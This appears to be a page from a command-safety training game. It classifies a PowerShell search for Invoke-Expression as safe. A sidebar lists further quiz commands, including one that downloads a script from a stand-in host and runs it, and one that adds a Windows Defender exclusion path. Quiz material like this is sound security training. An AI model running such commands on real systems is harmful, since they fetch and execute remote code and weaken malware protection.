Safe
Get-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberwindows · powershell · Nightmare
Searches user PowerShell scripts for uses of Invoke-Expression and reports where they appear. The most alarming token in the whole dataset appears here as a search pattern rather than as something being executed — read what the command does with the string, not merely that the string is present.
Think you can spot these under time pressure?
Start TrainingMore PowerShell
Get-WinEvent -LogName Security -MaxEvents 50ExpertAdd-MpPreference -ExclusionPath C:\Users\PublicExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ExecutionPolicy -ListIntermediateGet-Alias iex, irm, iwr | Select-Object Name, DefinitionAdvanced